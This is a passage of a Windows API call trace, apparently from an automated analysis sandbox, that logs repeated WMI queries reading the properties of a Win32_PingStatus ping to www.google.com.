wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487810*=0, plFlavor=0x2487814*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2487810*=8, plFlavor=0x2487814*=64) returned 0x0 [0140.538] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.538] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.538] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24879ec*=0, plFlavor=0x24879f0*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24879ec*=3, plFlavor=0x24879f0*=64) returned 0x0 [0140.538] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487a20*=0, plFlavor=0x2487a24*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507420*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2487a20*=8200, plFlavor=0x2487a24*=64) returned 0x0 [0140.539] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487a54*=0, plFlavor=0x2487a58*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2487a54*=8, plFlavor=0x2487a58*=64) returned 0x0 [0140.539] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.539] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.539] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487aa0*=0, plFlavor=0x2487aa4*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2487aa0*=8, plFlavor=0x2487aa4*=64) returned 0x0 [0140.539] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.539] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.539] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487aec*=0, plFlavor=0x2487af0*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2487aec*=8, plFlavor=0x2487af0*=64) returned 0x0 [0140.539] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.539] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.539] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0140.539] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0140.539] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.539] IWbemClassObject:Get (in: This=0x4f432d8, wszName="BufferSize", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487d24*=0, plFlavor=0x2487d28*=0 | out: pVal=0x59ee8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2487d24*=19, plFlavor=0x2487d28*=0) returned 0x0 [0140.540] IWbemClassObject:Get (in: This=0x4f432d8, wszName="BufferSize", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2487d24*=19, plFlavor=0x2487d28*=0 | out: pVal=0x59ee980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2487d24*=19, plFlavor=0x2487d28*=0) returned 0x0 [0140.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0140.540] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0140.540] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0140.540] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0140.540] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.540] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0140.540] SafeArrayGetDim (psa=0x507450) returned 0x1 [0140.540] SafeArrayGetDim (psa=0x507450) returned 0x1 [0140.540] SafeArrayGetLBound (in: psa=0x507450, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0140.541] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.541] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.541] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.541] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.541] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.541] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.541] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.541] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.541] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.541] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.541] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.541] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.541] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.541] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.541] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.541] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.541] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.541] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.541] SysStringByteLen (bstr="__PATH") returned 0xc [0140.541] SysStringByteLen (bstr="__PATH") returned 0xc [0140.542] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488250*=0, plFlavor=0x2488254*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2488250*=3, plFlavor=0x2488254*=64) returned 0x0 [0140.542] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488284*=0, plFlavor=0x2488288*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2488284*=8, plFlavor=0x2488288*=64) returned 0x0 [0140.542] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.542] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.542] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24882dc*=0, plFlavor=0x24882e0*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24882dc*=8, plFlavor=0x24882e0*=64) returned 0x0 [0140.542] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488304*=0, plFlavor=0x2488308*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2488304*=8, plFlavor=0x2488308*=64) returned 0x0 [0140.542] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.542] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.542] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248835c*=0, plFlavor=0x2488360*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x248835c*=8, plFlavor=0x2488360*=64) returned 0x0 [0140.543] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.543] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.543] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488544*=0, plFlavor=0x2488548*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2488544*=3, plFlavor=0x2488548*=64) returned 0x0 [0140.543] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488578*=0, plFlavor=0x248857c*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2488578*=8200, plFlavor=0x248857c*=64) returned 0x0 [0140.543] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24885ac*=0, plFlavor=0x24885b0*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24885ac*=8, plFlavor=0x24885b0*=64) returned 0x0 [0140.544] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.544] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.544] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24885f8*=0, plFlavor=0x24885fc*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24885f8*=8, plFlavor=0x24885fc*=64) returned 0x0 [0140.544] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.544] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.544] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488644*=0, plFlavor=0x2488648*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2488644*=8, plFlavor=0x2488648*=64) returned 0x0 [0140.544] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.544] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.544] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.544] IWbemClassObject:Get (in: This=0x4f432d8, wszName="ResponseTime", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248887c*=0, plFlavor=0x2488880*=0 | out: pVal=0x59ee898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x248887c*=19, plFlavor=0x2488880*=0) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.545] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0140.545] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.545] SafeArrayGetDim (psa=0x507420) returned 0x1 [0140.545] SafeArrayGetLBound (in: psa=0x507420, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0140.545] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.545] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.545] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.545] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.545] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.545] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.545] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.545] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.545] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.546] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.546] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.546] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.546] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.546] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.546] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.546] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.546] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.546] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.546] SysStringByteLen (bstr="__PATH") returned 0xc [0140.546] SysStringByteLen (bstr="__PATH") returned 0xc [0140.546] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488c30*=0, plFlavor=0x2488c34*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2488c30*=3, plFlavor=0x2488c34*=64) returned 0x0 [0140.546] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488c64*=0, plFlavor=0x2488c68*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2488c64*=8, plFlavor=0x2488c68*=64) returned 0x0 [0140.546] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.546] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.547] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488cbc*=0, plFlavor=0x2488cc0*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488cbc*=8, plFlavor=0x2488cc0*=64) returned 0x0 [0140.547] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488ce4*=0, plFlavor=0x2488ce8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2488ce4*=8, plFlavor=0x2488ce8*=64) returned 0x0 [0140.547] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.547] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.547] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488d3c*=0, plFlavor=0x2488d40*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2488d3c*=8, plFlavor=0x2488d40*=64) returned 0x0 [0140.547] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.547] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.547] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488f18*=0, plFlavor=0x2488f1c*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2488f18*=3, plFlavor=0x2488f1c*=64) returned 0x0 [0140.547] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488f4c*=0, plFlavor=0x2488f50*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075a0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2488f4c*=8200, plFlavor=0x2488f50*=64) returned 0x0 [0140.548] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488f80*=0, plFlavor=0x2488f84*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2488f80*=8, plFlavor=0x2488f84*=64) returned 0x0 [0140.548] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.548] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.548] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2488fcc*=0, plFlavor=0x2488fd0*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2488fcc*=8, plFlavor=0x2488fd0*=64) returned 0x0 [0140.548] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.548] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.548] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2489018*=0, plFlavor=0x248901c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2489018*=8, plFlavor=0x248901c*=64) returned 0x0 [0140.548] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.548] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.548] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0140.548] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0140.548] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, 